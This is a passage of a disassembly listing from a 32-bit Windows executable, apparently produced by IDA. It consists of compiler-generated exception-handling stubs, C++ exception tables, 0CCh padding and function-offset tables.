jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллл',0 align 4 dd 31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset dword_437AF0+11h ; DATA XREF: ___:off_4448A0o ; ___:off_4448C0o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448CA0 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448CA0 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382CC+0B24h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h 